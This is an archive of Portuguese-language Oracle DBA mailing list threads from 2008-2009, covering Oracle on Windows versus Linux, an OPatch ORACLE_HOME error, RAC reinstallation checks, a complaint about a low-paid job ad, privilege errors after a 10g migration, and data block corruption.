O GRUPO ORACLE_BR TEM SEU PROPRIO ESPAÇO! VISITE: http://www.oraclebr.com.br/ Links do Yahoo! Grupos
Re: [oracle_br] 10 motivos para não instalar oracle em windows
Vou citar alguns motivos que me vem a cabeça agora (opinião minha): 1. tail 2. grep 3. awk 4. more/less 5. não usar o conceito de serviço 6. top, iostat, vmstat 7. pipe 8. ssh (principalmente tunneling) 9. sed 10. find com seus -exec, -print Não necessáriamente nesta mesma ordem. 2009/6/5 Alexandre Rocha Placido aplacido.ora...@gmail.com: Ratificando o que Carlos Alfredo disse, minha experiência é a mesma. O único problema foi em relação a datafiles grandes, acima de 2gb que nos gerou problema. Mas mesmo o ganho de performance não foi significativo. O era em Linux em maquinas RISC à época, mas hoje com tudo Intel, não vejo grandes diferenças. Apesar que hoje estamos também com Linux RedHat com o Oracle 10gRAC, mais por questões de custo mesmo. Digitalizar0003.jpg Alexandre Rocha Placido image002DITEC – Divisão de Tecnologia da Informação Agrovale 74 3612-2900 87 8802-0474 aplac...@agrovale.com MSN: aplac...@gmail.com Skype: aplac...@gmail.com P Ler aqui sem imprimir é mais legal e faz bem ao meio ambiente. 1 JOÃO 4:10 - Nisto consiste o amor: não em que nós tenhamos amado a Deus, mas em que ele nos amou e enviou seu Filho como propiciação pelos nossos pecados. De: oracle_br@yahoogrupos.com.br [mailto:oracle...@yahoogrupos.com.br] Em nome de Carlos Alfredo M. de Menezes Enviada em: sexta-feira, 5 de junho de 2009 08:13 Para: oracle_br@yahoogrupos.com.br Assunto: Re: [oracle_br] 10 motivos para não instalar oracle em windows Colega, De experiência própria, trabalhei com Oracle em Windows Server de 1995 até março de 2006, a partir dessa data com Linux, digo que não tenho saudades do tempo de Windows mas seria mais honesto dizer que nesse período nunca passei nenhum apuro com Oracle, rodou sempre muito bem e me sentia confortável, olha que trabalhei com a primeira versão para Windows NT 3.5, depois migrei para NT 4 e por fim rodei em ambiente Windows2000 em cluster MS com Failsafe. Sobre performance, também gostaria de dizer que essa diferença não é tão grande assim, que aliás a Oracle fez muito bom trabalho em portar o código para trabalhar com threads, razão de sua principal diferença em relação as versões para Unix like, outro colega comentou em tom de brincadeira que o Oracle nasceu para ambientes Unix, é verdade, pois na época não existia nenhum Windows server, assim como não existia versão para Linux em 1995 e já existia para Windows. Att, Carlos Alfredo Willian Fernando Frasson escreveu: Boa noite, Uma vez vi até uma reposta do Chiappa e realmente o que ele disse é o mais correto, não depende se vai usar Windows, Linux, Aix, Solaris, Hp-UX, etc. O que depende é se terá um Admin de Rede em tal S.O, claro que se fosse por escolha seria AIX, Solaris, Linux (nessa ordem), mas tenho vários clientes que rodam até RAC em Win2003 Server e nunca parou. - Original Message - From: Ricardo de Carvalho Moreno To: oracle_br@yahoogrupos.com.br mailto:oracle_br%40yahoogrupos.com.br mailto:oracle_br%40yahoogrupos.com.br Sent: Tuesday, June 02, 2009 9:56 PM Subject: [oracle_br] 10 motivos para não instalar oracle em windows Blz pessoal ? Todos já sabem que o oracle não se dá bem com o windows para uma base de produção com grande volume de dados. Alguém sabe me dizer motivos para não instalar oracle em windows ? O windows que me refiro é o windows server. Valew !! [As partes desta mensagem que não continham texto foram removidas] -- O Banco de Dados de Vírus interno expirou. Verificado por AVG - http://www.avgbrasil.com.br http://www.avgbrasil.com.br Versão: 8.0.233 / Banco de dados de vírus: 270.10.16/1926 - Data de Lançamento: 30/1/2009 17:31 [As partes desta mensagem que não continham texto foram removidas] [As partes desta mensagem que não continham texto foram removidas] -- Atenção! As mensagens do grupo ORACLE_BR são de acesso público e de inteira responsabilidade de seus remetentes. Acesse: http://www.mail-archive.com/oracle_br@yahoogrupos.com.br/ -- Apostilas » Dicas e Exemplos » Função » Mundo Oracle » Package » Procedure » Scripts » Tutoriais - O GRUPO ORACLE_BR TEM SEU PROPRIO ESPAÇO! VISITE: http://www.oraclebr.com.br/ Links do Yahoo! Grupos -- Atenção! As mensagens do grupo ORACLE_BR são de acesso público e de inteira responsabilidade de seus
Re: [oracle_br] Opatch
Já vi erro parecido... Verifique se não há / no final do ORACLE_HOME e se o caminho está correto (ex: cd $ORACLE_HOME). execute: export PATH=$ORACLE_HOME/bin:$ORACLE_HOME/OPatch:/usr/local/bin:/bin:/usr/bin Tente novamente. 2009/4/23 Mosan Santos mosansan...@yahoo.com.br: Caro Marcos Retorna algo parecido com: ORACLE_HOME=/u01/app/oracle/produc/10.2.0/db_1 ou seja o valor da variável ORACLE_HOME Depois de ser aplicado o comando export ORACLE_HOME=/u01/app/oracle/produc/10.2.0/db_1 Mosán Santos __ OCP DBA 10g - OCE SQL OCE Managing Oracle on Linux OCA DBA 10g - OCA PL/SQL FCP Master - FCP Fundamental CCNA - JNCIA-ER OCE RAC. ..LOAD __ skype mosansantos --- Em qui, 23/4/09, Marcos Fontana fontana.mar...@gmail.com escreveu: De: Marcos Fontana fontana.mar...@gmail.com Assunto: Re: [oracle_br] Opatch Para: oracle_br@yahoogrupos.com.br Data: Quinta-feira, 23 de Abril de 2009, 17:26 Pergunta simples. set | grep ORACLE_HOME Retorna algo? Att. 2009/4/23 Anderson Ferreira Rodrigues andfr2...@hotmail. com Galera alguem já pegou esse erro ao chamar o Opatch no linux AS 4 32 bits.. Oracle Home is not set. OPatch cannot proceed! OPatch returns with error code = 1 [As partes desta mensagem que não continham texto foram removidas] Veja quais são os assuntos do momento no Yahoo! +Buscados http://br.maisbuscados.yahoo.com [As partes desta mensagem que não continham texto foram removidas] -- Atenção! As mensagens do grupo ORACLE_BR são de acesso público e de inteira responsabilidade de seus remetentes. Acesse: http://www.mail-archive.com/oracle_br@yahoogrupos.com.br/ -- Apostilas » Dicas e Exemplos » Função » Mundo Oracle » Package » Procedure » Scripts » Tutoriais - O GRUPO ORACLE_BR TEM SEU PROPRIO ESPAÇO! VISITE: http://www.oraclebr.com.br/ Links do Yahoo! Grupos
Re: [oracle_br] Re: Opatch
Execute env|grep ORA e passe o resultado para nós Qual a versão do banco? 2009/4/24 Anderson Ferreira Rodrigues andfr2...@hotmail.com: na verdade ele fica no seguinte caminho /oracle/product/10.2.0/OPatch e não no $ORACLE_HOME... --- Em oracle_br@yahoogrupos.com.br, Ivan Ricardo Schuster ivanr...@... escreveu Já vi erro parecido... Verifique se não há / no final do ORACLE_HOME e se o caminho está correto (ex: cd $ORACLE_HOME). execute: export PATH=$ORACLE_HOME/bin:$ORACLE_HOME/OPatch:/usr/local/bin:/bin:/usr/bin Tente novamente. 2009/4/23 Mosan Santos mosansan...@...: Caro Marcos Retorna algo parecido com: ORACLE_HOME=/u01/app/oracle/produc/10.2.0/db_1 ou seja o valor da variável ORACLE_HOME Depois de ser aplicado o comando export ORACLE_HOME=/u01/app/oracle/produc/10.2.0/db_1 Mosán Santos __ OCP DBA 10g - OCE SQL OCE Managing Oracle on Linux OCA DBA 10g - OCA PL/SQL FCP Master - FCP Fundamental CCNA - JNCIA-ER OCE RAC. ..LOAD __ skype mosansantos --- Em qui, 23/4/09, Marcos Fontana fontana.mar...@... escreveu: De: Marcos Fontana fontana.mar...@... Assunto: Re: [oracle_br] Opatch Para: oracle_br@yahoogrupos.com.br Data: Quinta-feira, 23 de Abril de 2009, 17:26 Pergunta simples. set | grep ORACLE_HOME Retorna algo? Att. 2009/4/23 Anderson Ferreira Rodrigues andfr2...@hotmail. com Galera alguem já pegou esse erro ao chamar o Opatch no linux AS 4 32 bits.. Oracle Home is not set. OPatch cannot proceed! OPatch returns with error code = 1 [As partes desta mensagem que não continham texto foram removidas] Veja quais são os assuntos do momento no Yahoo! +Buscados http://br.maisbuscados.yahoo.com [As partes desta mensagem que não continham texto foram removidas] -- Atenção! As mensagens do grupo ORACLE_BR são de acesso público e de inteira responsabilidade de seus remetentes. Acesse: http://www.mail-archive.com/oracle_br@yahoogrupos.com.br/ -- Apostilas » Dicas e Exemplos » Função » Mundo Oracle » Package » Procedure » Scripts » Tutoriais - O GRUPO ORACLE_BR TEM SEU PROPRIO ESPAÇO! VISITE: http://www.oraclebr.com.br/ Links do Yahoo! Grupos -- Atenção! As mensagens do grupo ORACLE_BR são de acesso público e de inteira responsabilidade de seus remetentes. Acesse: http://www.mail-archive.com/oracle_br@yahoogrupos.com.br/ -- Apostilas » Dicas e Exemplos » Função » Mundo Oracle » Package » Procedure » Scripts » Tutoriais - O GRUPO ORACLE_BR TEM SEU PROPRIO ESPAÇO! VISITE: http://www.oraclebr.com.br/ Links do Yahoo! Grupos
Re: [oracle_br] Re: Opatch
Bom, você disse que já resolveu, mas o problema aparentemente é a barra no final da variavel ORACLE_HOME: ORACLE_HOME=/oracle/product/10.2.0/ defina como: ORACLE_HOME=/oracle/product/10.2.0 2009/4/24 Anderson Ferreira Rodrigues andfr2...@hotmail.com: segue abaixo caro Ivan [ora...@sbbclnx01cri OPatch]$ env|grep ORA ORACLE_SID=crivodes ORACLE_BASE=/oracle ORACLE_TERM=386x ORACLE_HOME=/oracle/product/10.2.0/ --- Em oracle_br@yahoogrupos.com.br, Ivan Ricardo Schuster ivanr...@... escreveu Execute env|grep ORA e passe o resultado para nós Qual a versão do banco? 2009/4/24 Anderson Ferreira Rodrigues andfr2...@...: na verdade ele fica no seguinte caminho /oracle/product/10.2.0/OPatch e não no $ORACLE_HOME... --- Em oracle_br@yahoogrupos.com.br, Ivan Ricardo Schuster ivanrs79@ escreveu Já vi erro parecido... Verifique se não há / no final do ORACLE_HOME e se o caminho está correto (ex: cd $ORACLE_HOME). execute: export PATH=$ORACLE_HOME/bin:$ORACLE_HOME/OPatch:/usr/local/bin:/bin:/usr/bin Tente novamente. 2009/4/23 Mosan Santos mosansantos@: Caro Marcos Retorna algo parecido com: ORACLE_HOME=/u01/app/oracle/produc/10.2.0/db_1 ou seja o valor da variável ORACLE_HOME Depois de ser aplicado o comando export ORACLE_HOME=/u01/app/oracle/produc/10.2.0/db_1 Mosán Santos __ OCP DBA 10g - OCE SQL OCE Managing Oracle on Linux OCA DBA 10g - OCA PL/SQL FCP Master - FCP Fundamental CCNA - JNCIA-ER OCE RAC. ..LOAD __ skype mosansantos --- Em qui, 23/4/09, Marcos Fontana fontana.marcos@ escreveu: De: Marcos Fontana fontana.marcos@ Assunto: Re: [oracle_br] Opatch Para: oracle_br@yahoogrupos.com.br Data: Quinta-feira, 23 de Abril de 2009, 17:26 Pergunta simples. set | grep ORACLE_HOME Retorna algo? Att. 2009/4/23 Anderson Ferreira Rodrigues andfr2...@hotmail. com Galera alguem já pegou esse erro ao chamar o Opatch no linux AS 4 32 bits.. Oracle Home is not set. OPatch cannot proceed! OPatch returns with error code = 1 [As partes desta mensagem que não continham texto foram removidas] Veja quais são os assuntos do momento no Yahoo! +Buscados http://br.maisbuscados.yahoo.com [As partes desta mensagem que não continham texto foram removidas] -- Atenção! As mensagens do grupo ORACLE_BR são de acesso público e de inteira responsabilidade de seus remetentes. Acesse: http://www.mail-archive.com/oracle_br@yahoogrupos.com.br/ -- Apostilas » Dicas e Exemplos » Função » Mundo Oracle » Package » Procedure » Scripts » Tutoriais - O GRUPO ORACLE_BR TEM SEU PROPRIO ESPAÇO! VISITE: http://www.oraclebr.com.br/ Links do Yahoo! Grupos -- Atenção! As mensagens do grupo ORACLE_BR são de acesso público e de inteira responsabilidade de seus remetentes. Acesse: http://www.mail-archive.com/oracle_br@yahoogrupos.com.br/ -- Apostilas » Dicas e Exemplos » Função » Mundo Oracle » Package » Procedure » Scripts » Tutoriais - O GRUPO ORACLE_BR TEM SEU PROPRIO ESPAÇO! VISITE: http://www.oraclebr.com.br/ Links do Yahoo! Grupos -- Atenção! As mensagens do grupo ORACLE_BR são de acesso público e de inteira responsabilidade de seus remetentes. Acesse: http://www.mail-archive.com/oracle_br@yahoogrupos.com.br/ -- Apostilas » Dicas e Exemplos » Função » Mundo Oracle » Package » Procedure » Scripts » Tutoriais - O GRUPO ORACLE_BR TEM SEU PROPRIO ESPAÇO! VISITE: http://www.oraclebr.com.br
Re: [oracle_br] Reinstalação do RAC
Alexandre No metalink existe um passo a passo para voce desinstalar o clusterware corretamente (doc id 341214.1). 2009/3/30 Alexandre Anselmo atanse...@yahoo.com.br: Pessoal, mais uma vez venho recorrer aos gurus porque ja pesquisei em tudo que é canto e nao consegui resolver. Ganhei um lindo presente que foi reinstalar um RAC. Isso mesmo REINSTALAR. Removi tudo pelo OUI, removi todas as pastas, inclusive o que tinha no /etc/init.d, enfim... Na hora de reinstalar quando vou checar os pre-requisitos estou visualizando um problema que vou postar abaixo. Ja adianto que tentei ignorar o problema e continuar com a instalacao mas deu pau. Ao rodar o runcluvfy recebo esse erro: ./runcluvfy.sh stage -pre crsinst -n rac1,rac2 -verbose Checking system requirements for 'crs'... No checks registered for this product. Pre-check for cluster services setup was unsuccessful on all the nodes. Segue o log completo do ./runcluvfy.sh stage -pre crsinst -n rac1,rac2 -verbose [ora...@rac1 cluvfy]$ ./runcluvfy.sh stage -pre crsinst -n rac1,rac2 -verbose Performing pre-checks for cluster services setup Checking node reachability... Check: Node reachability from node rac1 Destination Node Reachable? rac2 yes rac1 yes Result: Node reachability check passed from node rac1. Checking user equivalence... Check: User equivalence for user oracle Node Name Comment rac2 passed rac1 passed Result: User equivalence check passed for user oracle. Checking administrative privileges... Check: Existence of user oracle Node Name User Exists Comment rac2 yes passed rac1 yes passed Result: User existence check passed for oracle. Check: Existence of group oinstall Node Name Status Group ID rac2 exists 501 rac1 exists 501 Result: Group existence check passed for oinstall. Check: Membership of user oracle in group oinstall [as Primary] Node Name User Exists Group Exists User in Group Primary Comment rac2 yes yes yes yes passed rac1 yes yes yes yes passed Result: Membership check for user oracle in group oinstall [as Primary] passed. Administrative privileges check passed. Checking node connectivity... Interface information for node rac2 Interface Name IP Address Subnet -- -- eth0 172.19.0.35 172.19.0.0 eth1 1.0.0.2 1.0.0.0 Interface information for node rac1 Interface Name IP Address Subnet -- -- eth0 172.19.0.34 172.19.0.0 eth1 1.0.0.1 1.0.0.0 Check: Node connectivity of subnet 172.19.0.0 Source Destination Connected? -- -- rac2:eth0 rac1:eth0 yes Result: Node connectivity check passed for subnet 172.19.0.0 with node(s) rac2,rac1. Check: Node connectivity of subnet 1.0.0.0 Source Destination Connected? -- -- rac2:eth1 rac1:eth1 yes Result: Node connectivity check passed for subnet 1.0.0.0 with node(s) rac2,rac1. Suitable interfaces for VIP on subnet 1.0.0.0: rac2 eth1:1.0.0.2 rac1 eth1:1.0.0.1 Suitable interfaces for the private interconnect on subnet 172.19.0.0: rac2 eth0:172.19.0.35 rac1 eth0:172.19.0.34 Result: Node connectivity check passed. Checking system requirements for 'crs'... No checks registered for this product. Pre-check for cluster services setup was unsuccessful on all the nodes.
Re: [oracle_br] Reinstalação do RAC
Ou melhor, Doc ID: 239998.1 2009/3/30 Ivan Ricardo Schuster ivanr...@gmail.com: Alexandre No metalink existe um passo a passo para voce desinstalar o clusterware corretamente (doc id 341214.1). 2009/3/30 Alexandre Anselmo atanse...@yahoo.com.br: Pessoal, mais uma vez venho recorrer aos gurus porque ja pesquisei em tudo que é canto e nao consegui resolver. Ganhei um lindo presente que foi reinstalar um RAC. Isso mesmo REINSTALAR. Removi tudo pelo OUI, removi todas as pastas, inclusive o que tinha no /etc/init.d, enfim... Na hora de reinstalar quando vou checar os pre-requisitos estou visualizando um problema que vou postar abaixo. Ja adianto que tentei ignorar o problema e continuar com a instalacao mas deu pau. Ao rodar o runcluvfy recebo esse erro: ./runcluvfy.sh stage -pre crsinst -n rac1,rac2 -verbose Checking system requirements for 'crs'... No checks registered for this product. Pre-check for cluster services setup was unsuccessful on all the nodes. Segue o log completo do ./runcluvfy.sh stage -pre crsinst -n rac1,rac2 -verbose [ora...@rac1 cluvfy]$ ./runcluvfy.sh stage -pre crsinst -n rac1,rac2 -verbose Performing pre-checks for cluster services setup Checking node reachability... Check: Node reachability from node rac1 Destination Node Reachable? rac2 yes rac1 yes Result: Node reachability check passed from node rac1. Checking user equivalence... Check: User equivalence for user oracle Node Name Comment rac2 passed rac1 passed Result: User equivalence check passed for user oracle. Checking administrative privileges... Check: Existence of user oracle Node Name User Exists Comment rac2 yes passed rac1 yes passed Result: User existence check passed for oracle. Check: Existence of group oinstall Node Name Status Group ID rac2 exists 501 rac1 exists 501 Result: Group existence check passed for oinstall. Check: Membership of user oracle in group oinstall [as Primary] Node Name User Exists Group Exists User in Group Primary Comment rac2 yes yes yes yes passed rac1 yes yes yes yes passed Result: Membership check for user oracle in group oinstall [as Primary] passed. Administrative privileges check passed. Checking node connectivity... Interface information for node rac2 Interface Name IP Address Subnet -- -- eth0 172.19.0.35 172.19.0.0 eth1 1.0.0.2 1.0.0.0 Interface information for node rac1 Interface Name IP Address Subnet -- -- eth0 172.19.0.34 172.19.0.0 eth1 1.0.0.1 1.0.0.0 Check: Node connectivity of subnet 172.19.0.0 Source Destination Connected? -- -- rac2:eth0 rac1:eth0 yes Result: Node connectivity check passed for subnet 172.19.0.0 with node(s) rac2,rac1. Check: Node connectivity of subnet 1.0.0.0 Source Destination Connected? -- -- rac2:eth1 rac1:eth1 yes Result: Node connectivity check passed for subnet 1.0.0.0 with node(s) rac2,rac1. Suitable interfaces for VIP on subnet 1.0.0.0: rac2 eth1:1.0.0.2 rac1 eth1:1.0.0.1 Suitable interfaces for the private interconnect on subnet 172.19.0.0: rac2 eth0:172.19.0.35 rac1 eth0:172.19.0.34 Result: Node connectivity check passed. Checking system requirements for 'crs'... No checks registered for this product. Pre-check
Re: [oracle_br] Vaga Absurda anunciada na APINFO
É o tipo de empresa que depois aparece na TV dizendo que nao encontra profissional qualificado. 2009/1/29 Paulo borges pbconsulto...@yahoo.com: mas é um Absurdo .. e o mercado de Trabalho vai se aproveitando da Crise ..rsrsrsrs --- On Thu, 1/29/09, Flaviano, Wellington (GE Money) wellington.flavi...@ge.com wrote: From: Flaviano, Wellington (GE Money) wellington.flavi...@ge.com Subject: RE: [oracle_br] Vaga Absurda anunciada na APINFO To: oracle_br@yahoogrupos.com.br Date: Thursday, January 29, 2009, 10:44 AM E sinceramente nem condeno estas pessoas porque em situações desesperada onde voce tem que sustentar uma familia e está desempregado aceita qq coisa ... -Original Message- From: oracle...@yahoogrup os.com.br [mailto:oracle...@yahoogrup os.com.br] On Behalf Of Renato Tecedor Sent: quinta-feira, 29 de janeiro de 2009 13:42 To: oracle...@yahoogrup os.com.br Subject: Re: [oracle_br] Vaga Absurda anunciada na APINFO E o pior de tudo que tem gente que aceita este trampo 2009/1/29 Anderson Ferreira andfr2...@hotmail. com Flaviano, Fora que ela ta pedindo dois anos de experiência ne... Esqueceu de mencionar o Certificado tb... []´s - Original Message - From: Flaviano, Wellington (GE Money) To: oracle...@yahoogrup os.com.br oracle_br%40yahoog rupos.com. br Sent: Thursday, January 29, 2009 12:05 PM Subject: RE: [oracle_br] Vaga Absurda anunciada na APINFO Anderson. Pelo que eu entendi, sua indignação (não só sua) é o que a empresa pede e o que ela oferece ... No caso, DBA Oracle com salário de R$1.500,00 []'s -Original Message- From: oracle...@yahoogrup os.com.br oracle_br%40yahoog rupos.com. br[mailto: oracle...@yahoogrup os.com.br oracle_br%40yahoog rupos.com. br] On Behalf Of Anderson Ferreira Sent: quinta-feira, 29 de janeiro de 2009 11:58 To: oracle...@yahoogrup os.com.br oracle_br%40yahoog rupos.com. br Subject: [oracle_br] Vaga Absurda anunciada na APINFO Nossa olha isso, tem empresas que são venha nós hein... DBA Oracle A RedeSPC, administradora da CheckOk Verificação Eletrônica de Crédito, necessita de profissional para atuar com Banco de Dados: Ter mais de dois anos de experiência comprovada como DBA Oracle. Experiência com otimização de Performance. Conhecimentos dos conceito de ciclo de vida da informação(incluindo extração, transformação e carregamento de dados) assim como também as atividades relacionadas com a Gestão de Dados e Data Base para assegurar a integração e a padronização das estruturas de dados. Compreender, definir e documentar as normas e conceitos. Desejável experiência em ambiente financeiro/telecomu nicações. CLT+ VT+ VA. Início Imediato. Faixa Salarial 1500,00. Horário Comercial. Empresa .: RedeSPC CheckOK Enviar curriculum para ...: Clique somente se for seu perfil Código ..: 72232 [As partes desta mensagem que não continham texto foram removidas] - - -- - - - - - - Atenção! As mensagens do grupo ORACLE_BR são de acesso público e de inteira responsabilidade de seus remetentes. Acesse: http://www.mail- archive.com/ oracle_br@ yahoogrupos. com.br/ - - - - - - Apostilas » Dicas e Exemplos » Função » Mundo Oracle » Package » Procedure » Scripts » Tutoriais - O GRUPO ORACLE_BR TEM SEU PROPRIO ESPAÇO! VISITE: http://www.oraclebr .com.br/ - - - - - - Links do Yahoo! Grupos [As partes desta mensagem que não continham texto foram removidas] -- Renato Tecedor Fone: 11 8152-8106 [As partes desta mensagem que não continham texto foram removidas] - - -- - - - - - - Atenção! As mensagens do grupo ORACLE_BR são de acesso público e de inteira responsabilidade de seus remetentes. Acesse: http://www.mail- archive.com/ oracle_br@ yahoogrupos. com.br/ - - - - - - Apostilas » Dicas e Exemplos » Função » Mundo Oracle » Package » Procedure » Scripts » Tutoriais - O GRUPO ORACLE_BR TEM SEU PROPRIO ESPAÇO! VISITE: http://www.oraclebr .com.br/ - - - - - - Links do Yahoo! Grupos [As partes desta mensagem que não continham texto foram removidas] -- Atenção! As mensagens do grupo ORACLE_BR são de acesso público e de inteira responsabilidade de seus remetentes. Acesse: http://www.mail-archive.com/oracle_br@yahoogrupos.com.br/
Re: Res: [oracle_br] Re: ORA-01031: insufficient privileges
Flavio, dê uma pesquisada no parâmetro optimizer_secure_view_merging, é possivel que ele te ajude Abraço Ivan 2008/11/20 Flavio de Lamare [EMAIL PROTECTED]: É que este é o segundo problema que me deparei depois da migração do 9i para o 10g. O primeiro que ocorreu, ORA-01031: insufficient privileges, eu consegui resolver ser saber ao certo. Acabei atribuindo os privilégios creata any table, create any view e depois disto, consegui atualizar as view's do esquema CORRWIN. Agora, tenho esta procedure que trava e não consigo resolver. Grato! --- Em oracle_br@yahoogrupos.com.br, Wellerson Leite de Araújo [EMAIL PROTECTED] escreveu Mas no seu e-mail você fala que existe um problema de privilégios insuficientes... É um problema de travamento da procedure ou privilégios? Att, Wellerson Não vou deixar me embrutecer, eu acredito nos meus ideais. Podem até maltratar o meu coração, que meu espírito ninguém vai conseguir quebrar... (Legião Urbana) As idéias estão no chão, você tropeça e acha a solução... (Titãs) De: Flavio de Lamare [EMAIL PROTECTED] Para: oracle_br@yahoogrupos.com.br Enviadas: Quinta-feira, 20 de Novembro de 2008 15:31:37 Assunto: Res: [oracle_br] Re: ORA-01031: insufficient privileges Wellerson, No momento, estou tentando resolver o problema de uma procedure que não executa. Não apresenta erro e nenhuma outra mensagem, apenas o processo fica travado. O código é bem simples e outras três procedure semelhantes, estão funcionando. A procedure atualiza a tabela ISDIG_IMPORTACAO, onde o usuário IUSR_IS é o owner da tabela, a partir de duas view's do usuário CORRWIN. Atribui grant all nas duas view's para o IUSR_IS. Já dropei e recriei a procedure mas não ajudou. Grato, Flavio CREATE OR REPLACE PROCEDURE IUSR_IS.SP_ ISDIG_IMP_ BTC (data_movto in date, operacao in varchar2, codigo in varchar2) is begin dbms_output. put_line( '..Executando insert BTC'); dbms_output. put_line( to_char(data_ movto ,'dd/mm/' )); insert into ISDIG_IMPORTACAO (CD_CLIENTE, VL_SALDO, CD_NEGOCIO, DS_OPERACAO) Select a.cod_cli, sum(a.val_comi * -1), codigo, operacao from corrwin.vbtnego a, corrwin.vbtcliente b where data_mvto= data_movto and a.cod_cli= b.cod_cli_ori and a.tipo_nego in ('R','L') and (b.cod_asse in (100,110,120, 150,200,201, 205,210,220, 230,240,250, 270,300,400, 410,500,6 00,610,800,810, 910)) group by a.cod_cli; end SP_ISDIG_IMP_ BTC; --- Em [EMAIL PROTECTED] os.com.br, Wellerson Leite de Araújo waraujo_bh@ ... escreveu Flavio, Qual é a operação que você está tentando fazer? Você poderia postar mais detalhes? Se for possível, envie todos procedimentos que você está utilizando. Att, Wellerson Não vou deixar me embrutecer, eu acredito nos meus ideais. Podem até maltratar o meu coração, que meu espírito ninguém vai conseguir quebrar... (Legião Urbana) As idéias estão no chão, você tropeça e acha a solução... (Titãs) _ _ __ De: Flavio de Lamare flavio_delamare@ ... Para: [EMAIL PROTECTED] os.com.br Enviadas: Quinta-feira, 20 de Novembro de 2008 8:56:07 Assunto: [oracle_br] Re: ORA-01031: insufficient privileges Oi Francisco! Já verifiquei e as permissões e são as mesmas. Tenho um banco de homologação ainda na 9i que apresenta as mesmas permissões do import que fiz na 10g. Não sei mais o que pode ser feito. Agradeço qualquer ajuda. Grato, Flavio de Lamare --- Em [EMAIL PROTECTED] os.com.br, francisco porfirio francisco.porfirio @... escreveu Flávio verifica todas as permissões que existiam antes para este schema e verificar quais que existem atualmente. Desta forma provavelmente você vai conseguir encontrar o problema. 2008/11/17 Carlos Eduardo P. Martello carlos.martello@ ... Flavio, já verificou se o usuário que você está utilizando para atualizar os objetos possui os privilégios para isso? Grants de alter table, update, etc, de acordo com sua operação. Att, Carlos Martello DBA Oracle / Consultor de Tecnologia TEL: 55+21+3094-6250 Choice Technologies S/A - Inteligência em Energia e-mail: carlosmartello@ ... carlosmartello% 40choice. com.br De: [EMAIL PROTECTED] os.com.br oracle_br%40yahoog rupos.com. br [mailto: [EMAIL PROTECTED] os.com.br oracle_br%40yahoog rupos.com. br] Em nome de Flavio de Lamare Enviada em: segunda-feira, 17 de novembro de 2008 10:55 Para: [EMAIL PROTECTED] os.com.br oracle_br% 40yahoogrupos. com.br Assunto: [oracle_br] ORA-01031: insufficient privileges Estou tentando atualizar alguns objetos do Oracle com o usuário owner destes e está aparecendo a mensagem acima. Na semana passada, fiz uma migração da base de um servidor 9i para o 10g. Podem me ajudar? Grato, Flavio [As
Re: [oracle_br] conexão ao banco oracle
Verifique o ORACLE_SID em ambas as situações Quem sabe tambem o ORACLE_HOME... 2008/7/29 Diego Leite [EMAIL PROTECTED]: VERIFICA O SGA_MAX_size SHOW PARAMETER sga_max_size -- MEMORIA LIVRE SELECT POOL,NAME,SUM(BYTES)/1024/1024 FROM V$SGASTAT WHERE NAME IN ('free memory') GROUP BY POOL,NAME; 2008/7/29 Carlos Henrique [EMAIL PROTECTED]: Olá Diego, SGA_TARGET 140 mb : shared pool = 68 buffer cache = 56 other = 16 Carlos Henrique Analista Sistemas / Desenvolvedor / Suporte Multimidia Net [EMAIL PROTECTED] [EMAIL PROTECTED] - Original Message - From: Diego Leite To: oracle_br@yahoogrupos.com.br Sent: Tuesday, July 29, 2008 9:56 AM Subject: Re: [oracle_br] conexão ao banco oracle Verifique o tamanho da sua SGA_TARGET e SGA_MAX_SIZE. 2008/7/29 chsistemas2 [EMAIL PROTECTED]: Bom dia pessoal, estou com várias dúvidas e gostaria de solucioná-las. Eu consigo conectar no banco oracle no modo gráfico, mas quando vou na linha de comando de comando e digito o mesmo usuário e a mesma senha ele não conecta: error ORA-01034 oracle not available ORA-27121 unable to determine size of shared memory segment linux error : 13 permission denied o usuário SYSTEM não deveria valer para os 02 modos : grafico e commad line ? O que pode estar acontecendo? Atenciosamente, Carlos Henrique -- Att, Diego Leite - DBA Jr. [As partes desta mensagem que não continham texto foram removidas] -- Att, Diego Leite - DBA Jr. -- Atenção! As mensagens do grupo ORACLE_BR são de acesso público e de inteira responsabilidade de seus remetentes. Acesse: http://www.mail-archive.com/oracle_br@yahoogrupos.com.br/ -- Funções, Procedures, propostas de emprego - O GRUPO ORACLE_BR TEM SEU PROPRIO ESPAÇO! VISITE: http://www.oraclebr.com.br/ Links do Yahoo! Grupos
Re: [oracle_br] ORA-01578: ORACLE data block corrupted
Pode ser storage, disco, firmware, controladora, cabos, driver, SO, bug do Oracle, etc... Ajudaria se voce descrevesse seu hardware (disco, se tem storage, basicamente)... Bom, corrigir estes blocos definitivamente não é a solução, há problema maior aí. Recomendo suporte da Oracle, do teu SO, do hardware, etc. 2008/7/28 cleberalmeidadf [EMAIL PROTECTED]: Estou com um sério problema. Estamos utilizando aqui na empresa o oracle 10g R2 com o Suse 10 professional. O que acontece é o seguinte, ele está apresentando a mensagem Data block corrupted direto, noto isso principalmente após cargas com o SQLLoader, sempre aparece um data block corrupted, sempre. Alguém tem alguma dica do que pode ser? Executo o DBS_REPAIR para efetuar a restauração do bloco, mas sempre aparece outro. Será que estou com algum problema de disco? Tem como eu executar algum ckdisk no linux? Ou até mesmo executar algum utilitário do Oracle? Atualmente funciona da seguite maneira, tenho um diretório que o oracle esta instalado, e instalei um outro disco nesse disco novo eu estou gravando todos os meus datafiles, com excessão dos que são criados no oracle por default(system01.dbf,sysaux01.dbf,users01.dbf,example01.dbf,undotbs.dbf)Estou perdido e qualquer ajuda será bem - vinda. Obrigado -- Atenção! As mensagens do grupo ORACLE_BR são de acesso público e de inteira responsabilidade de seus remetentes. Acesse: http://www.mail-archive.com/oracle_br@yahoogrupos.com.br/ -- Funções, Procedures, propostas de emprego - O GRUPO ORACLE_BR TEM SEU PROPRIO ESPAÇO! VISITE: http://www.oraclebr.com.br/ Links do Yahoo! Grupos
Re: [oracle_br] Dúvida no SQLPLUS
